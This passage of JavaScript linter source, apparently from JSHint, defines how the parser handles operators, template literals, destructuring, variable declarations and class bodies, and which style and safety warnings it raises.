identifier: true, nud: function() { var v = this.value; if (state.tokens.next.id === "=>") { return this; } if (!state.funct["(comparray)"].check(v)) { state.funct["(scope)"].block.use(v, state.tokens.curr); } return this; }, led: function() { error("E033", state.tokens.next, state.tokens.next.value); } }; var baseTemplateSyntax = { lbp: 0, identifier: false, template: true, }; state.syntax["(template)"] = _.extend({ type: "(template)", nud: doTemplateLiteral, led: doTemplateLiteral, noSubst: false }, baseTemplateSyntax); state.syntax["(template middle)"] = _.extend({ type: "(template middle)", middle: true, noSubst: false }, baseTemplateSyntax); state.syntax["(template tail)"] = _.extend({ type: "(template tail)", tail: true, noSubst: false }, baseTemplateSyntax); state.syntax["(no subst template)"] = _.extend({ type: "(template)", nud: doTemplateLiteral, led: doTemplateLiteral, noSubst: true, tail: true // mark as tail, since it's always the last component }, baseTemplateSyntax); type("(regexp)", function() { return this; }); delim("(endline)"); delim("(begin)"); delim("(end)").reach = true; delim("(error)").reach = true; delim("}").reach = true; delim(")"); delim("]"); delim("\"").reach = true; delim("'").reach = true; delim(";"); delim(":").reach = true; delim("#"); reserve("else"); reserve("case").reach = true; reserve("catch"); reserve("default").reach = true; reserve("finally"); reservevar("arguments", function(x) { if (state.isStrict() && state.funct["(global)"]) { warning("E008", x); } }); reservevar("eval"); reservevar("false"); reservevar("Infinity"); reservevar("null"); reservevar("this", function(x) { if (state.isStrict() && !isMethod() && !state.option.validthis && ((state.funct["(statement)"] && state.funct["(name)"].charAt(0) > "Z") || state.funct["(global)"])) { warning("W040", x); } }); reservevar("true"); reservevar("undefined"); assignop("=", "assign", 20); assignop("+=", "assignadd", 20); assignop("-=", "assignsub", 20); assignop("*=", "assignmult", 20); assignop("/=", "assigndiv", 20).nud = function() { error("E014"); }; assignop("%=", "assignmod", 20); bitwiseassignop("&="); bitwiseassignop("|="); bitwiseassignop("^="); bitwiseassignop("<<="); bitwiseassignop(">>="); bitwiseassignop(">>>="); infix(",", function(left, that) { var expr; that.exprs = [left]; if (state.option.nocomma) { warning("W127"); } if (!comma({ peek: true })) { return that; } while (true) { if (!(expr = expression(10))) { break; } that.exprs.push(expr); if (state.tokens.next.value !== "," || !comma()) { break; } } return that; }, 10, true); infix("?", function(left, that) { increaseComplexityCount(); that.left = left; that.right = expression(10); advance(":"); that["else"] = expression(10); return that; }, 30); var orPrecendence = 40; infix("||", function(left, that) { increaseComplexityCount(); that.left = left; that.right = expression(orPrecendence); return that; }, orPrecendence); infix("&&", "and", 50); bitwise("|", "bitor", 70); bitwise("^", "bitxor", 80); bitwise("&", "bitand", 90); relation("==", function(left, right) { var eqnull = state.option.eqnull && ((left && left.value) === "null" || (right && right.value) === "null"); switch (true) { case !eqnull && state.option.eqeqeq: this.from = this.character; warning("W116", this, "===", "=="); break; case isPoorRelation(left): warning("W041", this, "===", left.value); break; case isPoorRelation(right): warning("W041", this, "===", right.value); break; case isTypoTypeof(right, left, state): warning("W122", this, right.value); break; case isTypoTypeof(left, right, state): warning("W122", this, left.value); break; } return this; }); relation("===", function(left, right) { if (isTypoTypeof(right, left, state)) { warning("W122", this, right.value); } else if (isTypoTypeof(left, right, state)) { warning("W122", this, left.value); } return this; }); relation("!=", function(left, right) { var eqnull = state.option.eqnull && ((left && left.value) === "null" || (right && right.value) === "null"); if (!eqnull && state.option.eqeqeq) { this.from = this.character; warning("W116", this, "!==", "!="); } else if (isPoorRelation(left)) { warning("W041", this, "!==", left.value); } else if (isPoorRelation(right)) { warning("W041", this, "!==", right.value); } else if (isTypoTypeof(right, left, state)) { warning("W122", this, right.value); } else if (isTypoTypeof(left, right, state)) { warning("W122", this, left.value); } return this; }); relation("!==", function(left, right) { if (isTypoTypeof(right, left, state)) { warning("W122", this, right.value); } else if (isTypoTypeof(left, right, state)) { warning("W122", this, left.value); } return this; }); relation("<"); relation(">"); relation("<="); relation(">="); bitwise("<<", "shiftleft", 120); bitwise(">>", "shiftright", 120); bitwise(">>>", "shiftrightunsigned", 120); infix("in", "in", 120); infix("instanceof", "instanceof", 120); infix("+", function(left, that) { var right; that.left = left; that.right = right = expression(130); if (left && right && left.id === "(string)" && right.id === "(string)") { left.value += right.value; left.character = right.character; if (!state.option.scripturl && reg.javascriptURL.test(left.value)) { warning("W050", left); } return left; } return that; }, 130); prefix("+", "num"); prefix("+++", function() { warning("W007"); this.arity = "unary"; this.right = expression(150); return this; }); infix("+++", function(left) { warning("W007"); this.left = left; this.right = expression(130); return this; }, 130); infix("-", "sub", 130); prefix("-", "neg"); prefix("---", function() { warning("W006"); this.arity = "unary"; this.right = expression(150); return this; }); infix("---", function(left) { warning("W006"); this.left = left; this.right = expression(130); return this; }, 130); infix("*", "mult", 140); infix("/", "div", 140); infix("%", "mod", 140); suffix("++"); prefix("++", "preinc"); state.syntax["++"].exps = true; suffix("--"); prefix("--", "predec"); state.syntax["--"].exps = true; prefix("delete", function() { var p = expression(10); if (!p) { return this; } if (p.id !== "." && p.id !== "[") { warning("W051"); } this.first = p; if (p.identifier && !state.isStrict()) { p.forgiveUndef = true; } return this; }).exps = true; prefix("~", function() { if (state.option.bitwise) { warning("W016", this, "~"); } this.arity = "unary"; this.right = expression(150); return this; }); prefix("...", function() { if (!state.inES6(true)) { warning("W119", this, "spread/rest operator", "6"); } if (!state.tokens.next.identifier && state.tokens.next.type !== "(string)" && !checkPunctuators(state.tokens.next, ["[", "("])) { error("E030", state.tokens.next, state.tokens.next.value); } expression(150); return this; }); prefix("!", function() { this.arity = "unary"; this.right = expression(150); if (!this.right) { // '!' followed by nothing? Give up. quit("E041", this.line || 0); } if (bang[this.right.id] === true) { warning("W018", this, "!"); } return this; }); prefix("typeof", (function() { var p = expression(150); this.first = this.right = p; if (!p) { // 'typeof' followed by nothing? Give up. quit("E041", this.line || 0, this.character || 0); } if (p.identifier) { p.forgiveUndef = true; } return this; })); prefix("new", function() { var mp = metaProperty("target", function() { if (!state.inES6(true)) { warning("W119", state.tokens.prev, "new.target", "6"); } var inFunction, c = state.funct; while (c) { inFunction = !c["(global)"]; if (!c["(arrow)"]) { break; } c = c["(context)"]; } if (!inFunction) { warning("W136", state.tokens.prev, "new.target"); } }); if (mp) { return mp; } var c = expression(155), i; if (c && c.id !== "function") { if (c.identifier) { c["new"] = true; switch (c.value) { case "Number": case "String": case "Boolean": case "Math": case "JSON": warning("W053", state.tokens.prev, c.value); break; case "Symbol": if (state.inES6()) { warning("W053", state.tokens.prev, c.value); } break; case "Function": if (!state.option.evil) { warning("W054"); } break; case "Date": case "RegExp": case "this": break; default: if (c.id !== "function") { i = c.value.substr(0, 1); if (state.option.newcap && (i < "A" || i > "Z") && !state.funct["(scope)"].isPredefined(c.value)) { warning("W055", state.tokens.curr); } } } } else { if (c.id !== "." && c.id !== "[" && c.id !== "(") { warning("W056", state.tokens.curr); } } } else { if (!state.option.supernew) warning("W057", this); } if (state.tokens.next.id !== "(" && !state.option.supernew) { warning("W058", state.tokens.curr, state.tokens.curr.value); } this.first = this.right = c; return this; }); state.syntax["new"].exps = true; prefix("void").exps = true; infix(".", function(left, that) { var m = identifier(false, true); if (typeof m === "string") { countMember(m); } that.left = left; that.right = m; if (m && m === "hasOwnProperty" && state.tokens.next.value === "=") { warning("W001"); } if (left && left.value === "arguments" && (m === "callee" || m === "caller")) { if (state.option.noarg) warning("W059", left, m); else if (state.isStrict()) error("E008"); } else if (!state.option.evil && left && left.value === "document" && (m === "write" || m === "writeln")) { warning("W060", left); } if (!state.option.evil && (m === "eval" || m === "execScript")) { if (isGlobalEval(left, state)) { warning("W061"); } } return that; }, 160, true); infix("(", function(left, that) { if (state.option.immed && left && !left.immed && left.id === "function") { warning("W062"); } var n = 0; var p = []; if (left) { if (left.type === "(identifier)") { if (left.value.match(/^[A-Z]([A-Z0-9_$]*[a-z][A-Za-z0-9_$]*)?$/)) { if ("Array Number String Boolean Date Object Error Symbol".indexOf(left.value) === -1) { if (left.value === "Math") { warning("W063", left); } else if (state.option.newcap) { warning("W064", left); } } } } } if (state.tokens.next.id !== ")") { for (;;) { p[p.length] = expression(10); n += 1; if (state.tokens.next.id !== ",") { break; } comma(); } } advance(")"); if (typeof left === "object") { if (!state.inES5() && left.value === "parseInt" && n === 1) { warning("W065", state.tokens.curr); } if (!state.option.evil) { if (left.value === "eval" || left.value === "Function" || left.value === "execScript") { warning("W061", left); if (p[0] && [0].id === "(string)") { addInternalSrc(left, p[0].value); } } else if (p[0] && p[0].id === "(string)" && (left.value === "setTimeout" || left.value === "setInterval")) { warning("W066", left); addInternalSrc(left, p[0].value); } else if (p[0] && p[0].id === "(string)" && left.value === "." && left.left.value === "window" && (left.right === "setTimeout" || left.right === "setInterval")) { warning("W066", left); addInternalSrc(left, p[0].value); } } if (!left.identifier && left.id !== "." && left.id !== "[" && left.id !== "=>" && left.id !== "(" && left.id !== "&&" && left.id !== "||" && left.id !== "?" && !(state.inES6() && left["(name)"])) { warning("W067", that); } } that.left = left; return that; }, 155, true).exps = true; prefix("(", function() { var pn = state.tokens.next, pn1, i = -1; var ret, triggerFnExpr, first, last; var parens = 1; var opening = state.tokens.curr; var preceeding = state.tokens.prev; var isNecessary = !state.option.singleGroups; do { if (pn.value === "(") { parens += 1; } else if (pn.value === ")") { parens -= 1; } i += 1; pn1 = pn; pn = peek(i); } while (!(parens === 0 && pn1.value === ")") && pn.value !== ";" && pn.type !== "(end)"); if (state.tokens.next.id === "function") { triggerFnExpr = state.tokens.next.immed = true; } if (pn.value === "=>") { return doFunction({ type: "arrow", parsedOpening: true }); } var exprs = []; if (state.tokens.next.id !== ")") { for (;;) { exprs.push(expression(10)); if (state.tokens.next.id !== ",") { break; } if (state.option.nocomma) { warning("W127"); } comma(); } } advance(")", this); if (state.option.immed && exprs[0] && exprs[0].id === "function") { if (state.tokens.next.id !== "(" && state.tokens.next.id !== "." && state.tokens.next.id !== "[") { warning("W068", this); } } if (!exprs.length) { return; } if (exprs.length > 1) { ret = Object.create(state.syntax[","]); ret.exprs = exprs; first = exprs[0]; last = exprs[exprs.length - 1]; if (!isNecessary) { isNecessary = preceeding.assign || preceeding.delim; } } else { ret = first = last = exprs[0]; if (!isNecessary) { isNecessary = (opening.beginsStmt && (ret.id === "{" || triggerFnExpr || isFunctor(ret))) || (triggerFnExpr && (!isEndOfExpr() || state.tokens.prev.id !== "}")) || (isFunctor(ret) && !isEndOfExpr()) || (ret.id === "{" && preceeding.id === "=>") || (ret.type === "(number)" && checkPunctuator(pn, ".") && /^\d+$/.test(ret.value)); } } if (ret) { if (!isNecessary && (first.left || first.right || ret.exprs)) { isNecessary = (!isBeginOfExpr(preceeding) && first.lbp <= preceeding.lbp) || (!isEndOfExpr() && last.lbp < state.tokens.next.lbp); } if (!isNecessary) { warning("W126", opening); } ret.paren = true; } return ret; }); application("=>"); infix("[", function(left, that) { var e = expression(10), s; if (e && e.type === "(string)") { if (!state.option.evil && (e.value === "eval" || e.value === "execScript")) { if (isGlobalEval(left, state)) { warning("W061"); } } countMember(e.value); if (!state.option.sub && reg.identifier.test(e.value)) { s = state.syntax[e.value]; if (!s || !isReserved(s)) { warning("W069", state.tokens.prev, e.value); } } } advance("]", that); if (e && e.value === "hasOwnProperty" && state.tokens.next.value === "=") { warning("W001"); } that.left = left; that.right = e; return that; }, 160, true); function comprehensiveArrayExpression() { var res = {}; res.exps = true; state.funct["(comparray)"].stack(); var reversed = false; if (state.tokens.next.value !== "for") { reversed = true; if (!state.inMoz()) { warning("W116", state.tokens.next, "for", state.tokens.next.value); } state.funct["(comparray)"].setState("use"); res.right = expression(10); } advance("for"); if (state.tokens.next.value === "each") { advance("each"); if (!state.inMoz()) { warning("W118", state.tokens.curr, "for each"); } } advance("("); state.funct["(comparray)"].setState("define"); res.left = expression(130); if (_.contains(["in", "of"], state.tokens.next.value)) { advance(); } else { error("E045", state.tokens.curr); } state.funct["(comparray)"].setState("generate"); expression(10); advance(")"); if (state.tokens.next.value === "if") { advance("if"); advance("("); state.funct["(comparray)"].setState("filter"); res.filter = expression(10); advance(")"); } if (!reversed) { state.funct["(comparray)"].setState("use"); res.right = expression(10); } advance("]"); state.funct["(comparray)"].unstack(); return res; } prefix("[", function() { var blocktype = lookupBlockType(); if (blocktype.isCompArray) { if (!state.option.esnext && !state.inMoz()) { warning("W118", state.tokens.curr, "array comprehension"); } return comprehensiveArrayExpression(); } else if (blocktype.isDestAssign) { this.destructAssign = destructuringPattern({ openingParsed: true, assignment: true }); return this; } var b = state.tokens.curr.line !== startLine(state.tokens.next); this.first = []; if (b) { indent += state.option.indent; if (state.tokens.next.from === indent + state.option.indent) { indent += state.option.indent; } } while (state.tokens.next.id !== "(end)") { while (state.tokens.next.id === ",") { if (!state.option.elision) { if (!state.inES5()) { warning("W070"); } else { warning("W128"); do { advance(","); } while (state.tokens.next.id === ","); continue; } } advance(","); } if (state.tokens.next.id === "]") { break; } this.first.push(expression(10)); if (state.tokens.next.id === ",") { comma({ allowTrailing: true }); if (state.tokens.next.id === "]" && !state.inES5()) { warning("W070", state.tokens.curr); break; } } else { break; } } if (b) { indent -= state.option.indent; } advance("]", this); return this; }); function isMethod() { return state.funct["(statement)"] && state.funct["(statement)"].type === "class" || state.funct["(context)"] && state.funct["(context)"]["(verb)"] === "class"; } function isPropertyName(token) { return token.identifier || token.id === "(string)" || token.id === "(number)"; } function propertyName(preserveOrToken) { var id; var preserve = true; if (typeof preserveOrToken === "object") { id = preserveOrToken; } else { preserve = preserveOrToken; id = optionalidentifier(false, true, preserve); } if (!id) { if (state.tokens.next.id === "(string)") { id = state.tokens.next.value; if (!preserve) { advance(); } } else if (state.tokens.next.id === "(number)") { id = state.tokens.next.value.toString(); if (!preserve) { advance(); } } } else if (typeof id === "object") { if (id.id === "(string)" || id.id === "(identifier)") id = id.value; else if (id.id === "(number)") id = id.value.toString(); } if (id === "hasOwnProperty") { warning("W001"); } return id; } function functionparams(options) { var next; var paramsIds = []; var ident; var tokens = []; var t; var pastDefault = false; var pastRest = false; var arity = 0; var loneArg = options && options.loneArg; if (loneArg && loneArg.identifier === true) { state.funct["(scope)"].addParam(loneArg.value, loneArg); return { arity: 1, params: [ loneArg.value ] }; } next = state.tokens.next; if (!options || !options.parsedOpening) { advance("("); } if (state.tokens.next.id === ")") { advance(")"); return; } function addParam(addParamArgs) { state.funct["(scope)"].addParam.apply(state.funct["(scope)"], addParamArgs); } for (;;) { arity++; var currentParams = []; if (_.contains(["{", "["], state.tokens.next.id)) { tokens = destructuringPattern(); for (t in tokens) { t = tokens[t]; if (t.id) { paramsIds.push(t.id); currentParams.push([t.id, t.token]); } } } else { if (checkPunctuator(state.tokens.next, "...")) pastRest = true; ident = identifier(true); if (ident) { paramsIds.push(ident); currentParams.push([ident, state.tokens.curr]); } else { while (!checkPunctuators(state.tokens.next, [",", ")"])) advance(); } } if (pastDefault) { if (state.tokens.next.id !== "=") { error("W138", state.tokens.current); } } if (state.tokens.next.id === "=") { if (!state.inES6()) { warning("W119", state.tokens.next, "default parameters", "6"); } advance("="); pastDefault = true; expression(10); } currentParams.forEach(addParam); if (state.tokens.next.id === ",") { if (pastRest) { warning("W131", state.tokens.next); } comma(); } else { advance(")", next); return { arity: arity, params: paramsIds }; } } } function functor(name, token, overwrites) { var funct = { "(name)" : name, "(breakage)" : 0, "(loopage)" : 0, "(tokens)" : {}, "(properties)": {}, "(catch)" : false, "(global)" : false, "(line)" : null, "(character)" : null, "(metrics)" : null, "(statement)" : null, "(context)" : null, "(scope)" : null, "(comparray)" : null, "(generator)" : null, "(arrow)" : null, "(params)" : null }; if (token) { _.extend(funct, { "(line)" : token.line, "(character)": token.character, "(metrics)" : createMetrics(token) }); } _.extend(funct, overwrites); if (funct["(context)"]) { funct["(scope)"] = funct["(context)"]["(scope)"]; funct["(comparray)"] = funct["(context)"]["(comparray)"]; } return funct; } function isFunctor(token) { return "(scope)" in token; } function hasParsedCode(funct) { return funct["(global)"] && !funct["(verb)"]; } function doTemplateLiteral(left) { var ctx = this.context; var noSubst = this.noSubst; var depth = this.depth; if (!noSubst) { while (!end()) { if (!state.tokens.next.template || state.tokens.next.depth > depth) { expression(0); // should probably have different rbp? } else { advance(); } } } return { id: "(template)", type: "(template)", tag: left }; function end() { if (state.tokens.curr.template && state.tokens.curr.tail && state.tokens.curr.context === ctx) return true; var complete = (state.tokens.next.template && state.tokens.next.tail && state.tokens.next.context === ctx); if (complete) advance(); return complete || state.tokens.next.isUnclosed; } } function doFunction(options) { var f, token, name, statement, classExprBinding, isGenerator, isArrow, ignoreLoopFunc; var oldOption = state.option; var oldIgnored = state.ignored; if (options) { name = options.name; statement = options.statement; classExprBinding = options.classExprBinding; isGenerator = options.type === "generator"; isArrow = options.type === "arrow"; ignoreLoopFunc = options.ignoreLoopFunc; } state.option = Object.create(state.option); state.ignored = Object.create(state.ignored); state.funct = functor(name || state.nameStack.infer(), state.tokens.next, { "(statement)": statement, "(context)": state.funct, "(arrow)": isArrow, "(generator)": isGenerator }); f = state.funct; token = state.tokens.curr; token.funct = state.funct; functions.push(state.funct); state.funct["(scope)"].stack("functionouter"); var internallyAccessibleName = name || classExprBinding; if (internallyAccessibleName) { state.funct["(scope)"].block.add(internallyAccessibleName, classExprBinding ? "class" : "function", state.tokens.curr, false); } state.funct["(scope)"].stack("functionparams"); var paramsInfo = functionparams(options); if (paramsInfo) { state.funct["(params)"] = paramsInfo.params; state.funct["(metrics)"].arity = paramsInfo.arity; state.funct["(metrics)"].verifyMaxParametersPerFunction(); } else { state.funct["(metrics)"].arity = 0; } if (isArrow) { if (!state.inES6(true)) { warning("W119", state.tokens.curr, "arrow function syntax (=>)", "6"); } if (!options.loneArg) { advance("=>"); } } block(false, true, true, isArrow); if (!state.option.noyield && isGenerator && state.funct["(generator)"] !== "yielded") { warning("W124", state.tokens.curr); } state.funct["(metrics)"].verifyMaxStatementsPerFunction(); state.funct["(metrics)"].verifyMaxComplexityPerFunction(); state.funct["(unusedOption)"] = state.option.unused; state.option = oldOption; state.ignored = oldIgnored; state.funct["(last)"] = state.tokens.curr.line; state.funct["(lastcharacter)"] = state.tokens.curr.character; state.funct["(scope)"].unstack(); // also does usage and label checks state.funct["(scope)"].unstack(); state.funct = state.funct["(context)"]; if (!ignoreLoopFunc && !state.option.loopfunc && state.funct["(loopage)"]) { if (f["(isCapturing)"]) { warning("W083", token); } } return f; } function createMetrics(functionStartToken) { return { statementCount: 0, nestedBlockDepth: -1, ComplexityCount: 1, arity: 0, verifyMaxStatementsPerFunction: function() { if (state.option.maxstatements && this.statementCount > state.option.maxstatements) { warning("W071", functionStartToken, this.statementCount); } }, verifyMaxParametersPerFunction: function() { if (_.isNumber(state.option.maxparams) && this.arity > state.option.maxparams) { warning("W072", functionStartToken, this.arity); } }, verifyMaxNestedBlockDepthPerFunction: function() { if (state.option.maxdepth && this.nestedBlockDepth > 0 && this.nestedBlockDepth === state.option.maxdepth + 1) { warning("W073", null, this.nestedBlockDepth); } }, verifyMaxComplexityPerFunction: function() { var max = state.option.maxcomplexity; var cc = this.ComplexityCount; if (max && cc > max) { warning("W074", functionStartToken, cc); } } }; } function increaseComplexityCount() { state.funct["(metrics)"].ComplexityCount += 1; } function checkCondAssignment(expr) { var id, paren; if (expr) { id = expr.id; paren = expr.paren; if (id === "," && (expr = expr.exprs[expr.exprs.length - 1])) { id = expr.id; paren = paren || expr.paren; } } switch (id) { case "=": case "+=": case "-=": case "*=": case "%=": case "&=": case "|=": case "^=": case "/=": if (!paren && !state.option.boss) { warning("W084"); } } } function checkProperties(props) { if (state.inES5()) { for (var name in props) { if (props[name] && props[name].setterToken && !props[name].getterToken) { warning("W078", props[name].setterToken); } } } } function metaProperty(name, c) { if (checkPunctuator(state.tokens.next, ".")) { var left = state.tokens.curr.id; advance("."); var id = identifier(); state.tokens.curr.isMetaProperty = true; if (name !== id) { error("E057", state.tokens.prev, left, id); } else { c(); } return state.tokens.curr; } } (function(x) { x.nud = function() { var b, f, i, p, t, isGeneratorMethod = false, nextVal; var props = Object.create(null); // All properties, including accessors b = state.tokens.curr.line !== startLine(state.tokens.next); if (b) { indent += state.option.indent; if (state.tokens.next.from === indent + state.option.indent) { indent += state.option.indent; } } var blocktype = lookupBlockType(); if (blocktype.isDestAssign) { this.destructAssign = destructuringPattern({ openingParsed: true, assignment: true }); return this; } for (;;) { if (state.tokens.next.id === "}") { break; } nextVal = state.tokens.next.value; if (state.tokens.next.identifier && (peekIgnoreEOL().id === "," || peekIgnoreEOL().id === "}")) { if (!state.inES6()) { warning("W104", state.tokens.next, "object short notation", "6"); } i = propertyName(true); saveProperty(props, i, state.tokens.next); expression(10); } else if (peek().id !== ":" && (nextVal === "get" || nextVal === "set")) { advance(nextVal); if (!state.inES5()) { error("E034"); } i = propertyName(); if (!i && !state.inES6()) { error("E035"); } if (i) { saveAccessor(nextVal, props, i, state.tokens.curr); } t = state.tokens.next; f = doFunction(); p = f["(params)"]; if (nextVal === "get" && i && p) { warning("W076", t, p[0], i); } else if (nextVal === "set" && i && (!p || p.length !== 1)) { warning("W077", t, i); } } else { if (state.tokens.next.value === "*" && state.tokens.next.type === "(punctuator)") { if (!state.inES6()) { warning("W104", state.tokens.next, "generator functions", "6"); } advance("*"); isGeneratorMethod = true; } else { isGeneratorMethod = false; } if (state.tokens.next.id === "[") { i = computedPropertyName(); state.nameStack.set(i); } else { state.nameStack.set(state.tokens.next); i = propertyName(); saveProperty(props, i, state.tokens.next); if (typeof i !== "string") { break; } } if (state.tokens.next.value === "(") { if (!state.inES6()) { warning("W104", state.tokens.curr, "concise methods", "6"); } doFunction({ type: isGeneratorMethod ? "generator" : null }); } else { advance(":"); expression(10); } } countMember(i); if (state.tokens.next.id === ",") { comma({ allowTrailing: true, property: true }); if (state.tokens.next.id === ",") { warning("W070", state.tokens.curr); } else if (state.tokens.next.id === "}" && !state.inES5()) { warning("W070", state.tokens.curr); } } else { break; } } if (b) { indent -= state.option.indent; } advance("}", this); checkProperties(props); return this; }; x.fud = function() { error("E036", state.tokens.curr); }; }(delim("{"))); function destructuringPattern(options) { var isAssignment = options && options.assignment; if (!state.inES6()) { warning("W104", state.tokens.curr, isAssignment ? "destructuring assignment" : "destructuring binding", "6"); } return destructuringPatternRecursive(options); } function destructuringPatternRecursive(options) { var ids; var identifiers = []; var openingParsed = options && options.openingParsed; var isAssignment = options && options.assignment; var recursiveOptions = isAssignment ? { assignment: isAssignment } : null; var firstToken = openingParsed ? state.tokens.curr : state.tokens.next; var nextInnerDE = function() { var ident; if (checkPunctuators(state.tokens.next, ["[", "{"])) { ids = destructuringPatternRecursive(recursiveOptions); for (var id in ids) { id = ids[id]; identifiers.push({ id: id.id, token: id.token }); } } else if (checkPunctuator(state.tokens.next, ",")) { identifiers.push({ id: null, token: state.tokens.curr }); } else if (checkPunctuator(state.tokens.next, "(")) { advance("("); nextInnerDE(); advance(")"); } else { var is_rest = checkPunctuator(state.tokens.next, "..."); if (isAssignment) { var identifierToken = is_rest ? peek(0) : state.tokens.next; if (!identifierToken.identifier) { warning("E030", identifierToken, identifierToken.value); } var assignTarget = expression(155); if (assignTarget) { checkLeftSideAssign(assignTarget); if (assignTarget.identifier) { ident = assignTarget.value; } } } else { ident = identifier(); } if (ident) { identifiers.push({ id: ident, token: state.tokens.curr }); } return is_rest; } return false; }; var assignmentProperty = function() { var id; if (checkPunctuator(state.tokens.next, "[")) { advance("["); expression(10); advance("]"); advance(":"); nextInnerDE(); } else if (state.tokens.next.id === "(string)" || state.tokens.next.id === "(number)") { advance(); advance(":"); nextInnerDE(); } else { id = identifier(); if (checkPunctuator(state.tokens.next, ":")) { advance(":"); nextInnerDE(); } else if (id) { if (isAssignment) { checkLeftSideAssign(state.tokens.curr); } identifiers.push({ id: id, token: state.tokens.curr }); } } }; if (checkPunctuator(firstToken, "[")) { if (!openingParsed) { advance("["); } if (checkPunctuator(state.tokens.next, "]")) { warning("W137", state.tokens.curr); } var element_after_rest = false; while (!checkPunctuator(state.tokens.next, "]")) { if (nextInnerDE() && !element_after_rest && checkPunctuator(state.tokens.next, ",")) { warning("W130", state.tokens.next); element_after_rest = true; } if (checkPunctuator(state.tokens.next, "=")) { if (checkPunctuator(state.tokens.prev, "...")) { advance("]"); } else { advance("="); } if (state.tokens.next.id === "undefined") { warning("W080", state.tokens.prev, state.tokens.prev.value); } expression(10); } if (!checkPunctuator(state.tokens.next, "]")) { advance(","); } } advance("]"); } else if (checkPunctuator(firstToken, "{")) { if (!openingParsed) { advance("{"); } if (checkPunctuator(state.tokens.next, "}")) { warning("W137", state.tokens.curr); } while (!checkPunctuator(state.tokens.next, "}")) { assignmentProperty(); if (checkPunctuator(state.tokens.next, "=")) { advance("="); if (state.tokens.next.id === "undefined") { warning("W080", state.tokens.prev, state.tokens.prev.value); } expression(10); } if (!checkPunctuator(state.tokens.next, "}")) { advance(","); if (checkPunctuator(state.tokens.next, "}")) { break; } } } advance("}"); } return identifiers; } function destructuringPatternMatch(tokens, value) { var first = value.first; if (!first) return; _.zip(tokens, Array.isArray(first) ? first : [ first ]).forEach(function(val) { var token = val[0]; var value = val[1]; if (token && value) token.first = value; else if (token && token.first && !value) warning("W080", token.first, token.first.value); }); } function blockVariableStatement(type, statement, context) { var prefix = context && context.prefix; var inexport = context && context.inexport; var isLet = type === "let"; var isConst = type === "const"; var tokens, lone, value, letblock; if (!state.inES6()) { warning("W104", state.tokens.curr, type, "6"); } if (isLet && state.tokens.next.value === "(") { if (!state.inMoz()) { warning("W118", state.tokens.next, "let block"); } advance("("); state.funct["(scope)"].stack(); letblock = true; } else if (state.funct["(noblockscopedvar)"]) { error("E048", state.tokens.curr, isConst ? "Const" : "Let"); } statement.first = []; for (;;) { var names = []; if (_.contains(["{", "["], state.tokens.next.value)) { tokens = destructuringPattern(); lone = false; } else { tokens = [ { id: identifier(), token: state.tokens.curr } ]; lone = true; } if (!prefix && isConst && state.tokens.next.id !== "=") { warning("E012", state.tokens.curr, state.tokens.curr.value); } for (var t in tokens) { if (tokens.hasOwnProperty(t)) { t = tokens[t]; if (state.funct["(scope)"].block.isGlobal()) { if (predefined[t.id] === false) { warning("W079", t.token, t.id); } } if (t.id && !state.funct["(noblockscopedvar)"]) { state.funct["(scope)"].addlabel(t.id, { type: type, token: t.token }); names.push(t.token); if (lone && inexport) { state.funct["(scope)"].setExported(t.token.value, t.token); } } } } if (state.tokens.next.id === "=") { advance("="); if (!prefix && state.tokens.next.id === "undefined") { warning("W080", state.tokens.prev, state.tokens.prev.value); } if (!prefix && peek(0).id === "=" && state.tokens.next.identifier) { warning("W120", state.tokens.next, state.tokens.next.value); } value = expression(prefix ? 120 : 10); if (lone) { tokens[0].first = value; } else { destructuringPatternMatch(names, value); } } statement.first = statement.first.concat(names); if (state.tokens.next.id !== ",") { break; } comma(); } if (letblock) { advance(")"); block(true, true); statement.block = true; state.funct["(scope)"].unstack(); } return statement; } var conststatement = stmt("const", function(context) { return blockVariableStatement("const", this, context); }); conststatement.exps = true; var letstatement = stmt("let", function(context) { return blockVariableStatement("let", this, context); }); letstatement.exps = true; var varstatement = stmt("var", function(context) { var prefix = context && context.prefix; var inexport = context && context.inexport; var tokens, lone, value; var implied = context && context.implied; var report = !(context && context.ignore); this.first = []; for (;;) { var names = []; if (_.contains(["{", "["], state.tokens.next.value)) { tokens = destructuringPattern(); lone = false; } else { tokens = [ { id: identifier(), token: state.tokens.curr } ]; lone = true; } if (!(prefix && implied) && report && state.option.varstmt) { warning("W132", this); } this.first = this.first.concat(names); for (var t in tokens) { if (tokens.hasOwnProperty(t)) { t = tokens[t]; if (!implied && state.funct["(global)"]) { if (predefined[t.id] === false) { warning("W079", t.token, t.id); } else if (state.option.futurehostile === false) { if ((!state.inES5() && vars.ecmaIdentifiers[5][t.id] === false) || (!state.inES6() && vars.ecmaIdentifiers[6][t.id] === false)) { warning("W129", t.token, t.id); } } } if (t.id) { if (implied === "for") { if (!state.funct["(scope)"].has(t.id)) { if (report) warning("W088", t.token, t.id); } state.funct["(scope)"].block.use(t.id, t.token); } else { state.funct["(scope)"].addlabel(t.id, { type: "var", token: t.token }); if (lone && inexport) { state.funct["(scope)"].setExported(t.id, t.token); } } names.push(t.token); } } } if (state.tokens.next.id === "=") { state.nameStack.set(state.tokens.curr); advance("="); if (!prefix && report && !state.funct["(loopage)"] && state.tokens.next.id === "undefined") { warning("W080", state.tokens.prev, state.tokens.prev.value); } if (peek(0).id === "=" && state.tokens.next.identifier) { if (!prefix && report && !state.funct["(params)"] || state.funct["(params)"].indexOf(state.tokens.next.value) === -1) { warning("W120", state.tokens.next, state.tokens.next.value); } } value = expression(prefix ? 120 : 10); if (lone) { tokens[0].first = value; } else { destructuringPatternMatch(names, value); } } if (state.tokens.next.id !== ",") { break; } comma(); } return this; }); varstatement.exps = true; blockstmt("class", function() { return classdef.call(this, true); }); function classdef(isStatement) { if (!state.inES6()) { warning("W104", state.tokens.curr, "class", "6"); } if (isStatement) { this.name = identifier(); state.funct["(scope)"].addlabel(this.name, { type: "class", token: state.tokens.curr }); } else if (state.tokens.next.identifier && state.tokens.next.value !== "extends") { this.name = identifier(); this.namedExpr = true; } else { this.name = state.nameStack.infer(); } classtail(this); return this; } function classtail(c) { var wasInClassBody = state.inClassBody; if (state.tokens.next.value === "extends") { advance("extends"); c.heritage = expression(10); } state.inClassBody = true; advance("{"); c.body = classbody(c); advance("}"); state.inClassBody = wasInClassBody; } function classbody(c) { var name; var isStatic; var isGenerator; var getset; var props = Object.create(null); var staticProps = Object.create(null); var computed; for (var i = 0; state.tokens.next.id !== "}"; ++i) { name = state.tokens.next; isStatic = false; isGenerator = false; getset = null; if (name.id === ";") { warning("W032"); advance(";"); continue; } if (name.id === "*") { isGenerator = true; advance("*"); name = state.tokens.next; 